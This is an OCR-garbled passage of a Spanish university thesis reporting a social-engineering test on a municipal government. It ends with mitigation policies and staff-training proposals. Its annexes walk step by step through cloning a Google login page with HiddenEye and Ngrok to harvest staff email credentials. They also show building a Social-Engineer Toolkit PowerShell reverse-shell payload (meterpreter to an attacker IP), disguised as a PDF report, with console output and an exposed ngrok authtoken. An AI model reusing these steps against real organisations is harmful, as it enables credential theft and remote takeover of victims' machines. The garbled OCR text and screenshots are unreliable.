Objetivo de la fase: Identificar el objetivo vulnerable de la empresa.

Se procedio a utilizar la técnica de observacion para lograr identificar el objetivo, donde se
aplicaron ambos escenarios de ingenieria social. Para lo cual se escogié 3 departamentos,
recursos humanos, innovacion y emprendimiento, gestion de desarrollo socioeconémica.
Estos departamentos fueron identificados como estratégicos para ejecutar ambas pruebas, si
bien es cierto manejan informacion relevante que solo es de interés privado, y por lo general

reportes e informes, son enviados mediante el correo electrénico.

Figura 6 - Departamento recursos humanos

e

Figura 7 - Departamento Innovacion y emprendimiento
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Figura 8 - Departamento Gestion de desarrollo socioeconomica

3.3.2 FASE 2-RECONOCIMIENTO

Objetivo de la fase: Recolectar la informacion, de los colaboradores de los
tres departamentos seleccionados en la fase anterior.

Objetivo de la fase: Identificar el objetivo vulnerable de la empresa.

DEPARTAMENTO DE RECURSOS HUMANOS

El Departamento de Talento Humano se encarga de llevar el control 6ptimo del personal
administrativo, el respectivo sueldo de los operarios, el orden y la disciplina que se rigen en

los departamentos que gestionan.

Directora de Talento

Humano

Jefe de Gestion Técnica

Analista de Nomina l

Secretaria

Asistente Administrativo

Asistente

Auxiliar de Servicios l

Tabla 2 - Datos de los colaboradores de recursos humano
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DEPARTAMENTO DE INNOVACION Y EMPRENDIMIENTO

El Departamento de Emprendimiento e Innovacion de Empleo se encarga de la reactivacion

Econdmica ciudadana.

CARGO

Jefa de Area

‘H CORREO

TLF.
INTITUCIONAL

|

Técnico

I—

|

Técnico emprendimiento
Innovacién

Tabla 3 -Datos de los colaboradores innovacion y emprendimiento

DEPARTAMENTO DE GESTION DE DESARROLLO SOCIECONOMICO

El Departamento de Gestion de Desarrollo Socioeconémico se encarga de las diferentes

adquisicién que el municipio utiliza en sus Funciones.

CORREO TIf. Institucional

CARGO

Coordinador

Proveedor Municipal

Gestor Contratacion Publica

Asistente Administrativo

Tabla 4 - Datos de los colaboradores Gestion de desarrollo socioeconémico
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3.3.3 FASE 3 - CREAR ESCENARIO

Objetivo de la fase: Elaborar el escenario del ataque de ingenieria social mediante la

técnica de phishing.

Estos escenarios estuvieron desarrollados con ayuda del sistema operativo Kali Linux. Las

herramientas que se Ilevaron a cabo son, Ngrok, y HiddenEye, Para observar la instalacion

de estas herramientas (Ver anexo 1).

ESCENARIO 1: Phishing mediante correo electrénico

© — O

Servidor controlado por un atacante
Usuarios de los

departamentos |

administrativos del GAD :

pagina 404 personalizada
(sitio web de phishing)

Obtencion de

credenciales del correo.

Figura 9 - correo electrdnico phishing

El primer escenario es un ataque de phishing utilizando el correo electrénico para llevarlo a

cabo. Esta prueba consiste en suplantar un correo que simule una pagina autentica, con el

objetivo que pida al usuario validar datos, de esta forma se obtendria esos datos.

ESCENARIO 2: Virus en archivo por correo electronico

%@

Departamentos
administrativos del //

GAD @

Malware en un
documento

Infectar maquinas
objtivos

Figura 10 — Virus por archivo
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Este escenario comprende en enviar correos electrénicos a distintos colaboradores de los
departamentos que conforman la administracion del municipio, con el objetivo de enviar un
archivo infectado, para crear tuneles en las maquinas y posteriormente tener una

vulnerabilidad a explotar.

3.34 FASE 4 - REALIZAR ATAQUE

Objetivo de la fase: Aplicar pruebas de phishing a los colaboradores de la institucion, para

obtener credenciales de los correos electronicos.

ESCENARIO 1

Este ataque fue llevado a cabo mediante HiddenEye en conjunto con Ngrok son
herramientas para realizar ataques de phishing, para observar la instalacion de las

herramientas y configuraciones respectivas, (Ver anexo 1)

= kali@kali: ~/Escritorio/HiddenEye

Archivo Acciones Editar Vista Ayuda

v 1.0.0 BY:DARKSEC

Figura 11 - Herramienta HiddenEye
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Se procedi6 a crear un correo falso, para tratar de suplantar el soporte de Gmail y no

levantar sospechas en los colaboradores.

Google
Crea una cuenta de Google
Ir a Gmail
andrse soporieeee googless
)
soporte.googel ™ o

[(J Mostrar contrasena

Figura 12 - correo electronico atacante

Cuando se haya creado el correo que usaremos para atacar a los colaboradores de los tres
departamentos, procedemos a enviar el enlace para que se pueda poner en préactica el ataque.
Se procede a realizar la respectiva clonacion o suplantacion de un correo oficial de Google,
para simular ser el soporte técnico del correo como observamos en las imagenes. Es

necesario aplicar todo lo necesario para que el correo se observe como el auténtico.

Mensaje nueva - X

- Cc CCO

Google

Hola:

Por seguridad necesitamos que valides tu informacién
por favor. A continucacion presiona sobre €l boton para
confirmar tus datos.

@

Revision de Seguridad

Figura 13 - Correo suplantado
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Mensaje nuevo —

6.

Revision de Seguridad

pueden acceder a tu cuenta
So0gle y a otros ajuste

El:vccombs ]
2 @y EHRIEGE

Mensaje nuevo - @ X

Comprobar seguridad

m Alooemb s

Luego se envia el correo suplantado a las victimas, es cuestion de tiempo que la persona lea

y trate de verificar sus datos. Del lado de la maquina atacante se ejecuta Ngrok y HiddenEye

como observamos en la imagen.

Figura 14 - Ejecucion de HiddenEye y Ngrok



Aproximadamente 35min despueés se procedio a realizar la primera validacion respecto a los
usuarios de los departamentos escogidos, obteniendo sus cuentas de correos junto con sus

contrasefias como se observa en la imagen, si desea visualizar de forma mas detallada (ver

Anexo 2).

Figura 15 - Captura de cuentas de correo

ESCENARIO 2

Este escenario estd enfocado a crear un archivo BACKDOOR, el consisten en abrir una
puerta para poder acceder a una maquina victima o a un grupo de maquinas victimas. (Ver

anexo 3).

Archivo Acciones Editar Vista Ayuda

Figura 16 - Herramienta Social engineering toolkit
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Este archivo una vez creado, se envia por correo electronico a los colaboradores de los 3
departamentos escogidos como objetivos para la aplicacion de las pruebas de intrusion.

También se realiza el respectivo cambio de nombre y extension para evitar levantar

sospechas.

x86_powersh
ell_injection.t
xt

B Renombrar«x86_powershell_inject — 0O X

Escriba el nombre nuevo:

ReportelPDF

Cancelar Renombrar

Figura 17 - Cambio de nombre y extension archivo backdoor
Se obtuvo el acceso a una de las maquinas, pero por disposicion del personal de TICS

del municipio, no pudimos ingresar a la maquina.

Unknown command:
msfS exploit(

Id Name Type Information

msfS exploit( T l

Figura 18 - Usuario victima
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FASE 5 - OBTENER INFORMACION
INFORMACION DEL ESCENARIO 1

La ejecucion del ataque fue de 2 horas, se obtuvo usuarios de correo electronico de los

colaboradores que no se percataron que era un correo falso y verificaron sus datos. Por lo

que podemos notar no hay conciencia por parte del personal, ya que abrieron el mensaje y

procedieron a validar su informacion, sin consultar antes por qué pedia validacion de su

cuenta.

10.0
Win64
1 ] | Mozilla
10.0
Win64
| | ' j Apple Webkit
| | | Chrome
| | sarsung
Browser
| _| | Microsoft Edge

Tabla 5 - Datos obtenidos del ataque 1

INFORMACION ESCENARIO 2

Por disposicién del Personal de TIC de la entidad, no se pudo efectivizar el ataque al 100%

puesto que por integridad de la informacion no permitieron el acceso a las maquinas, por

este motivo solo se pudo obtener lo siguiente:

USUARIO SISTEMA OPERATIVO

DEPARTAMENTO

l l

Talento Humano

l |

Talento Humano

[ l

Emprendimiento e

innovacion.

Tabla 6 - Usuarios victimas escenario 2
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3.3.6 FASE 6 - REPORTE Y SOLUCIONES

UNIVERSIDAD ESTATAL PENINSULA DE SANTA ELENA
FACULTAD DE SISTEMAS Y TELECOMUNICACIONES
CARRERA TECNOLOGIAS DE LA INFORMACION

Implementacidn de técnicas en ingenieria social en un gobierno autdnomo
descentralizado de la provincia de Santa Elena.

Nombre del informe: | Reporte del Escenario 1

Objetivo de la fase: Elaborar el escenario del ataque de ingenieria social mediante la
técnica de phishing.

Herramientas utilizadas:
» Sistema operativo Kali Linux
« Computador
* Ngrok
* HiddenEye

Tiempo de ejecucion: 2 horas.

Resultados obtenidos:
» Se ejecuto el ataque con éxito, el 45% de los usuarios de los 3

departamentos validd sus datos.
* Los colaboradores de la entidad tardaron 35 min en abrir el correo.
« El tiempo que estuvo en ejecucion el ataque en la entidad fue de 2 horas, posterior

a ello se procedio a capturar la informacion.

Tabla 7 - Reporte escenario 1

UNIVERSIDAD ESTATAL PENINSULA DE SANTA ELEI\JA FACULTAD DE SISTEMAS
Y TELECOMUNICACIONES CARRERA TECNOLOGIAS DE LA INFORMACION
Implementacidn de técnicas en ingenieria social en un gobierno auténomo descentralizado de la

provincia de Santa Elena.

Nombre del informe: | Reporte del Escenario 2

Objetivo de la fase: Elaborar el escenario del ataque de ingenieria social mediante la
técnica de phishing.

Herramientas utilizadas:
» Sistema operativo Kali Linux
» Computador
* Metaexploit
» Social engineering toolkit
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Tiempo de ejecucion: 30 minutos.

Resultados obtenidos:

El tiempo de ejecucion del ataque fue de 30 min, sin embargo, la preparacion fue
aproximadamente de 45 minutos.

Se procedio a enviar el archivo a los 3 departamentos seleccionados, sin embargo,
mas del 50% de los usuarios, se percataron, puesto que decidieron no abrir el
archivo infeccioso.

3 maquinas aceptaron la conexién, sin embargo, el Ingeniero encargado de TICS,
no aprobo el ingreso a ninguna de las maquinas, lo Unico que se pudo observar fue

el sistema operativo de una de las maquinas victimas.

Tabla 8 - reporte escenario 2

PROPUESTA - PLAN DE MITIGACION DE VULNERABILIDAD ENCONTRADA

EN LA EMPRESA

POLITICA DE SEGURIDAD DE LA INFORMACION MEDIDAS
DE PROTECCION DE LOS EQUIPOS COMPUTOS

Es esencial que, para el uso de las computadoras, donde se manejan informacién
clasificada y de alto régimen de ética, se monitoree que cada computadora lleve su
respectiva actualizacion y compra de licencia garantizada del sistema operativo que
utilizan.

Cada Equipo de computo debe contar, con un antivirus con licencia de paga, que
detecte, busque y elimine virus que puedan comprometer la informacién y el acceso
remoto a las computadoras, ayudando a resguardar los archivos, ante una amenaza
como malware, gusanos, troyanos y programas espia.

Para un mejor manejo de los antivirus es necesario que sea complementado con un
firewall integrado que ayude a restringir el acceso de protocolos y programas
especificos, bloqueando sitios web de dudosa procedencia.

Prohibir el ingreso y la utilizacion de unidades externa, en los equipos computo del
Gad Municipal, para evitar la penetracion de cualquier malware que quiera
comprometer la computadora, por consiguiente, la nube es un medio alternativo para

los dispositivos de almacenamiento.
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POLITICAS DE SEGURIDAD DE CREDENCIALES DE USUARIOS

Se debe implementar una normativa interna ante entrega de credenciales para
ingreso al sistema del Gad, para que cada usuario que posee las credenciales
proceda a memorizar dicha informacién y no incumpla en escribir dicha
informacidn en un papel para que posterior a eso sea expuesto ante cualquier
amenaza de Ingenieria Social.

Las contrasefias, wusuarios y claves de acceso deber ser cambiadas
periddicamente, para evitar cualquier manipulacién de un personal interno o
externo del Gad Municipal.

Se debe implementar limites de acceso para los usuarios, para que estos se
enfoquen en sus roles laborales y no tenga acceso a otros niveles de informacion
jerarquico.

Las contrasefias son el primer obstaculo ante un ataque de Ingenieria social, por
lo que es prioritario que las contrasefias tengan combinaciones alfanumeéricas
superiores a 8 digitos agregando caracteres especiales tales como #$%&/, y evitar

también que las credenciales sean iguales a sus cuentas personales y financieras.

Informar a cada usuario que es prohibido compartir datos de sus credenciales a
cualquier compafiero de trabajo o persona externa al area laboral, ya que se
podria poner en riesgo Informacion que puede comprometer a la buena ética del
Gad Municipal.

POLITICA DE NAVEGACION WEB

» Implementar restricciones de acceso a paginas como redes sociales, videos,
juegos, o sitios que no tienen nada que ver con la labor del usuario en el Gad,
impidiendo asi que los ciberdelincuentes utilicen estos medios para poder
infectar y sustraer las credenciales de los empleados.

 Evitar descargar software de paginas sospechosas, que no son autorizadas por
el area de Ti, ya que esto puede ser una brecha para que se filtren
informacion y llegue a manos de ciberdelincuentes.

 Evitar revelar informacion clasificada o credenciales, a mensajes que puedan
Ilegar de manera inesperada a la pagina donde este laborando, por lo cual es
recomendacion que cierre dicho mensaje e informe al personal del

departamento de Ti.
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PLAN DEL AREADE TIC

» Realizar periédicamente ataques de Ingenieria social, para poder verificar
el estado de la seguridad de la informacion que manejan los usuarios, en
los diferentes trasmites diarios.

* Monitorear que los equipos computo estén en buen estado y actualizado,
para salvaguardar archivos de datos importante, y que estos no sufran

dafos en deficit computacional.

PLAN DE CAPACITACION A OPERARIOS QUE LABORAN EN
LOS DIFERENTES DEPARTAMENTOS DEL GAD MUNICIPAL

Es una de las propuestas con mayor relevancia, el poder capacitar a los empleados que
laboran en los diferentes departamentos, ya que son el punto principal y mas vulnerable ante
un ataque de ingenieria social provocado por ciberdelincuentes. Por lo que, conocer el uso
adecuado del conocimiento en Tic, es esencial ante cualquier situacién de amenaza que pase

el usuario, por lo que se debe tomar puntos prioritarios de temas tales como:

» Capacitaciones, talleres y pruebas continuas de los diferentes y principales ataques
de Ingeniera Social, con el fin de poder cultivar una buena costumbre de proteccion
para el Gad Municipal y para la confiabilidad de los clientes que procesan tramites
diarios, por lo cual se debe establecer un cronograma anual, para dictar las ultimas
actualizaciones de amenazas y ataque de Ingeniera social.

* Reconocimiento de enlaces sospechosos que vienen ocultos en correos electronicos,
redes sociales y paginas sospechosas, enfatizando que deben siempre fijarse del
remitente de cualquier mensaje.

» Aplicacion de copias de seguridad, ya que los equipos al ser vulnerable ante un
ataque puedan recuperar informacion relevante y no sufran dafios exponenciales.

» El manejo ante una situacion en la que haya detencion de amenaza en Ingenieria social.

» Socializar sobre documento devaluado y sin ningun fin para que estos sean
destruidos de manera sutil, para que no sea herramienta de un ciberdelincuente.

» Seguridad del uso de las Tecnologias de la informacion, para estar preparado ante un

ataque de ingenieria Social.
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CONCLUSIONES

La efectividad de Kali Linux en conjunto de técnicas de Ingenieria Social,
procede a formar un sobresaliente instrumento para la prueba de suplantacion
de identidad (phishing), permitiendo evaluar el nivel de capacitaciéon en los
usuarios que laboran en los diferentes departamentos del Gad Municipal ante

la seguridad de la informacion.

Se Implement6 ataques controlados de phishing a los correos de los usuarios
que laboran en los departamentos del Gad Municipal, con las herramientas
que posee Kali Linux, las cuales nos permitio saber el grado de
vulnerabilidad de cada empleado, al saber que la mayoria fue victima de esta

prueba de seguridad.

Durante la detencion de vulnerabilidad en Ingenieria Social, por medio de la
herramienta metaexploit con ejecucion de comando, se pudo emitir un
archivo infectado, el cual fue enviado hacia un equipo de cémputo de un
departamento, el cual fue abierto por el usuario, creando una brecha remota

en el equipo computo del departamento.

Una vez que se procedié a encontrar el nivel de capacitacion de los usuarios
ante un ataque de Ingeniera social y el estado de sus equipos computo, se
pudieron obtener los mecanismos necesarios de seguridad que ayudara a
salvaguardar mejor la informacién que se maneja en el Gad Municipal,

garantizando asi la confiabilidad de sus clientes.
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RECOMENDACIONES

Se recomienda realizar periddicamente pruebas de ataques de Ingenieria Social
internas en cada departamento, cronometradas y planificadas por el departamento de

Tic, siguiendo la metodologia de hacking ético.

Para realizar las diferentes pruebas de ataques de Ingenieria Social, se recomienda la
manipulacion del software Kali Linus, ya que es un instrumento de facil uso y a su
vez complementarios en muchas herramientas al poseer un abanico de opciones,
enfocadas en pruebas, diagndsticos y comprobacion de la seguridad, siendo asi un

software superior a los demas.

Es esencial recomendar que se debe usar el software Kali Linus con una
responsabilidad muy moderada, ya que algunas de sus herramientas pueden vulnerar
la legalidad.

Se recomienda el monitoreo constante de los equipos computo de los departamentos
del Gad Municipal, para verificar su legalidad en actualizacion de software con

licencia al dia, antivirus con extension de firewall y el estado fisico de las PC.
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ANEXOS



Anexo 1
ESCENARIO 1:

Pasos para preparar la prueba de phishing que se implementé:

1. Para ello debemos registrarnos en el siguiente enlace:

ngrok Howkworks, Pidhg  Enterprisesolitons Docs  Dowloods o

Public URLs for

Get started for free

Ask a question

2. Ngrok es una plataforma, que enlaza enlaces URL locales de forma publica, es
utilizado para realizar ataques de ingenieria social.

a0 A
Averification link has been sent to Mauricioccimfoo@gmail.com. Additional restrictions will apply to your account until you confirm you) d Vierifs
Mac G5 ml Windows
Download ngrok O e 22 o tazi0
narok is easy to instalk. Download o single binary with zero A Linux - FreeBSD
run-time depandencies. = Linux (32-Bit) FreeBSD (32-Bit)

Linux (ARM)
@ Downlood for Windows Linue [ARM&S)

1. Unzip to install

jith the folowing command. On Windews, just double click

Running this ammand will sdd your suthtoken 1o the default ngrak.ysl esafiguration file. This will grant ye




3. Necesitamos de una méaquina virtualizada de Kali

Linux. Los requisitos de la maquina son los siguientes:

¥9 Oracle VM VirtualBox Administrador
Acchivo Maquina  Ayuda

Nueva Configuracion Descartar  Iniciar
M General

Nombre: hali

Sistema operativo:  Debian (64-bit)

& sistema

M pantala

Mamoria de video: 16 MB
Controlador grafico: VMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabaaén: Inhabiitado

2] Amacenamiento
Controlodor: IDE

1DE secundario maestro: [Unidad 6ptica) Vadio
Controlador: SATA

Puerto SATA 0: kali.vdi (Normal, 30,75 G8)

W Audio

Controlador de anfitrin: Windows DirectSound
Controledor: 1CH ACS?

& Red

Adaptador 2:  Intel PRO/100D MT Desktog (Adaptador puente, «Qualcomm QCA377 B02.11ac Wireless Adapters)
i use

Controlador US8: OHCI

Fitros de dispositivos: 1 (1 activo)
|7 Carpetas compartidas
Ninguno

& pescripcdn

tinguno

4. Una vez creada la maquina virtual debemos iniciarla.
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5. También necesitamos una herramienta que no estd por defecto en Kali Linux,
necesitamos instalarla, y realizar las configuraciones respectivas para que Ngrok
funcione correctamente.

E es ECUtf8 + 12sep, 1114 O

6. Clic derecho en el boton Download for Linux y luego Copy link location

R iemP B [s]

»

n Setup - ngrok o -

c o 0 & ngrok.com,

o Kali Linux N Kali Training X Kali Tools N Kali Forums « Kali Docs & NetHunter Offensive Security MSFU

£ Getting Started

Sotup & Installation

Download ngrok

ngrok is easy to install. Download a single binary with zero
lllll time dependencies.

@ Download for Linux

&

Get access to powerful
features like: 1. Unzip to install

lac OS X you minal with the following command.

unzip /path/to/ngrok.zip
Upgrade Now
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7. Con el comando wget y pegamos lo que copiamos anteriormente, esperamos que se
descargue.

equinox. ic 4VmDzA71aHb/ngrok-stable-linux-amd64.zip
¢ https bin. nDzA7iaHb/ngrok-stable-11

conectad
esperando r -
) [application/oc -stream]
Grabando a: «ngrok-stable-linux-amdé4.zip»

ngrok-stable-linux- 100%[ =————==] 13,19M 1,13MB/s en 18s

(744 KB/s) - «ngrok-stable-linux-amdé4.zip» guardado [138

3

8. Listamos los archivos y carpetas para verificar que se descargo.

9. Ahora descomprimimos este archivo mediante la herramienta unzip.

ngre

5.

ngrok

10. Ahora hay que enlazar la cuenta de Ngrok con la herramienta descargada

n Your Autht

€« [N L n ® % n o e =
& KaliLinux & Kali Training & Kali Tools N Kali Forums [ unter urity MSFU »
LE Luisc = a @ A

O Getting Started

e —— Your Authtoken

This is your personal Authtoken. Use this to authenticate the ngrok agent that you
downloaded.

TxuS2fanHIkhoYJRZUMCVTYqOIg_22XsKILNBlwwZInHPHBNW & Copy

Command Line

Authenticate your ngrok agent. You only have to do this once. The Authtoken is saved in
the default configuration file

./ngrok authtoken
AxuS2fanHlkhoYJRZUMCVTYqO1q_22zXsK1LN81wwZ1nHIHENW

Get access to powerful

feature:

Configuration File

Upgrade Now Alternatively, you can directly add the Authtoken to your ngrok.yml configuration file.
By default this file islocated at . ngrokz/ngrok.yml
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Pt

VTYgOlg

L

El kali@kali: ~/Escritorio

Archivo Acciones Editar Vista Ayuda
~/Escritorio =

clone https://github.com/DarkSecDevelopers/HiddenEye.git
Clonando en 'HiddenEye' ...
remote: Enumerating objects: 7148, done.
remote: Total 7148 (delta @), reused @ (delta @), pack-reused 7148
Recibiendo objetos: 100% (7148/7148), 45.48 MiB | 2.04 MiB/s, listo.
Resolviendo deltas: 100% (3599/3599), listo.
Actualizando archivos: 100% (1702/1702), listo.

~/Escritorio

~/Escritorio/HiddenEye

Config.ini Dockerfile Settings.ini
_config.yml HiddenEye.py
CONTRIBUTING.md index.html README .md version.txt
—anit —cpy README_RU.md
LICENSE requirements.txt

docker-compose.yml

Ahora instalamos los requerimientos para que el programa funcione con el comando pip3
install -r requirements.txt

~/Escritorio/HiddenEye

uirements.
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=] kali@kali: ~/Escritorio/HiddenEye

Archivo Acciones Editar Vista Ayuda
CONTRIBUTING.md index.html README .md txt =

version.
_init__ .py README_RU.md
LICENSE requirements.txt

docker-compose.yml

~/Escritorio/HiddenEye
install requirements.txt
Command 'pip3' not found, but can be installed with:
sudo apt install python3-pip
Do you want to install it? (N/y)y
sudo apt install python3-pip
[sudo] password for kali:
Leyendo lista de paquetes ... Hecho
Creando arbol de dependencias ... Hecho
Leyendo la informacion de estado ... Hecho
Se instalaran los siguientes paquetes adicionales:
python-pip-whl python3-wheel
Se instalaran los siguientes paquetes NUEVOS:
python-pip-whl python3-pip python3-wheel
@ actualizados, 3 nuevos se instalaran, @ para eliminar y 689 no actualizados

Se necesita descargar 2.309 kB de archivos.

Se utilizaran 3.671 kB de espacio de disco adicional después de esta operacio
n.

;Desea continuar? [S/n] s

| t

kali@kali: ~/Escritorio/HiddenEye

Archivo Acciones Editar Vista Ayuda

v 1.0.0 BY:DARKSEC
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Ahora iniciamos los servicios de NGROK.

~

http 8080

Archivo Acciones Editar Vista Ayuda

EJECUCION DEL ATAQUE

El primer paso para llevar a cabo este ataque es seleccionar que pagina vamos a suplantar.
En este ataque se selecciona la cuenta de Google.

Ahora seleccionamos el modo de operacion que se tendra. Seleccionamos la opcion nimero
uno.
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Luego que deseamos obtener del ataque, en este caso la herramienta funcionara como un
KEYLOGGER, seleccionamos la opcion uno.

Especificamos la pagina donde se va a redireccionar una vez efectivizado el ataque, por lo
cual se procedio a ingresar la pagina de inicio de sesion de Gmail.
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Ahora especificamos el puerto especificado en Ngrok

Archivo Acciones Editar Vista Ayuda

1024 65535

Luego se procede a especificar el tipo de servidor, para nuestro caso localhost, sin embargo,
gracias a Ngrok nos envia un enlace para proceder a ejecutar el ataque fuera de nuestra

propia red.

Nos dirigimos al otro terminar ejecutandose los servicios de Ngrok, para copiar el enlace

que es el cual se envia por correo electronico. El enlace de amarillo se procede a enviar.
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Forwardir
Fo g

Connections ttl opn rti rt5
0 0.00 0.00

Ahora es cuestion de utilizar ingenio para hacer caer a las victimas, una vez efectivizado el
ataque esto procedemos a obtener credenciales de los correos electronicos.

kali@kali: ~/Escritorio/HiddenEye
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Anexo 2

Archivo Acciones Editar Vista Ayuda

Archivo Acciones Editar Vista Ayuda
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Archivo Acciones Editar

Archivo Acciones Editar

Vista Ayuda

Vista Ayuda

ab@hak

Escr

tono/MxddenEye
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Archivo Acciones Editar Vista Ayuda

Archivo Accliones Editar Vista Ayuda

kali@kali: ~/Escritorio/HiddenEye

o/Musdent ye
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Archivo Acciones Editar

Archivo Acciones Editar

Vista Ayuda

Vista Ayuda
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Anexo 3

1. Para ejecutar el segundo escenario debemos crear un archivo infectado por un virus,

para ello utilizaremos metaexploit. Donde aplicamos el comando:

Archivo Acciones Editar Vista Ayuda

2 product

Select from the menu:

1-Engineering Attack
sting (Fast-Track)

r Toolkit

5) Updat

6) Help, Credits, and Ab

99) Exit the Social-Engi

.]l

2. Ejecutamos la primera opcion y continuamos

The Social-Engineer Toolkit is a product

Visit: https://ww.trustedsec.com

Select from the menu:

1)
2)
3)
4)
5)
6)
7)
8)
9)
10)

99

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

o> 1l |

of TrustedSec.
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9) Powershe < Vectors
10) Third Party Modules

99) Return back to the main menu.

>9

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you t
o use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides
a fruitful 1landscape for deploying payloads and performing functions that do not get triggered by preventative te
chnologies.

) Powershell Alphanumeric Shellcode Injector
Reverse Shell
Bind Shell
Powershell Dump SAM Database

Return to Main Menu

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet N5 .055.¢ broadcast 192.168.0.255
inet6 fe80::a00:27ff:fe3c:3c63 prefixlen 64 scopeid 0x20<lin
ether 08:00:27:3c:3c:63 txqueuelen 1000 (Ethernet)
RX packets 153 bytes 20511 (20.0 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 42 bytes 4860 (4.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

3. Debemos especificar la IP de la maquina atacante y el puerto por el que escucha la
herramienta.

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you t
o use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides
a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventative te
chnologies.

Powershell Alphanumeric Shellcode Injector
Powershell Reverse Shell

Powershell Bind Shell

Powershell Dump SAM Database

Return to Main Menu

>1

r the IPAddress or DNS name for the reverse host: l

e = 11>1
Enter the IPAddress or DNS name for the reverse host: 192.168.0.119
> Enter the port for the reverse [443]:433)
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4. Ahora procedemos a iniciar los servicios. Esta herramienta esta lista para esperar
una victima y que se conecte remotamente.

- >1

Enter the IPAddress or DNS name for the reverse host: 192.168.0.119
C > Enter the port for the reverse [443]:433

[*] Prepping the payload for delivery and injecting alphanumeric shellcode ...

[*] Generating x86-based powershell injection code ...

[*] Reverse HTTPS takes a few seconds to calculate..One moment.

No encoder specified, outputting raw payload

Payload size: 394 bytes

Final size of c file: 1681 bytes

[*] Finished generating powershell injection bypass.

*] Encoded to bypass execution restriction policy...

[#] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/

> Do you want to start the listener now [yes/no]: : yes]]

running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

L ) )11 vb.0.4 v
2134 exploits - 1139 auxiliary - 364 post
592 payloads - 45 encoders - 10 nops
8 evasion

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with

Processing /root/.set/reports/powershell/powershell.rc for ERB directives.
IEINY |/ root /. set/reports/powershell/powershel | [SYSEMIEE RS VAED LIRSy
Using configured payload generic/shell_reverse_tcp
resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_https
payload = windows/meterpreter/reverse_https
resource (/root/.set/reports/powershell/powershell.rc)> set LPORT 433
LPORT = 433
resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0
LHOST = 0.0.0.0
resource (/root/.set/reports/powershell/powershell.rc)> set ExitOnSession false
ExitOnSession = false
resource (/root/.set/reports/powershell/powershell.rc)> exploit -j
Exploit running as background job 0.
Exploit completed, but no session was created.
msf6 exploit( ) >
Started HTTPS reverse handler on https://0.0.0.0:433
|
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5. Para que sea mas facil el envid del archivo lo copiamos al escritorio con el comando
cp nombre del archivo y la ruta.

password for kali:
/home/kali

ports/powershell/

~/.set/reports/powershell

PRIV TIN S Sl 86 _powershell_injection.txt

s ~/ .set/reports/powershell

e ~/.set/reports/powershell

x86 powershell injection.txt

/home/kali/Escritorio/

Para no levantar sospechas también podemos cambiar el nombre y la extensién
del archivo.

x86_powersh
ell_injection.t
xt
B Renombrar«x86_powershell_inject - O X

Escriba el nombre nuevo:

Reporte| PDF

Cancelar Renombrar
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7. Unavez la victima haya caido, nos aparece una conexion existente y solo nos

quedaria solicitar el ingreso y estariamos dentro de la victima sin su consentimiento.

Unknown command: session.
msf5 exploit( ) > sessions -1

Active sessions

Name Type Information

meterpreter x86/windows _

43 -> 172.17.2.19:63449 (172.17.2.19)

msf5 exploit( ) > l
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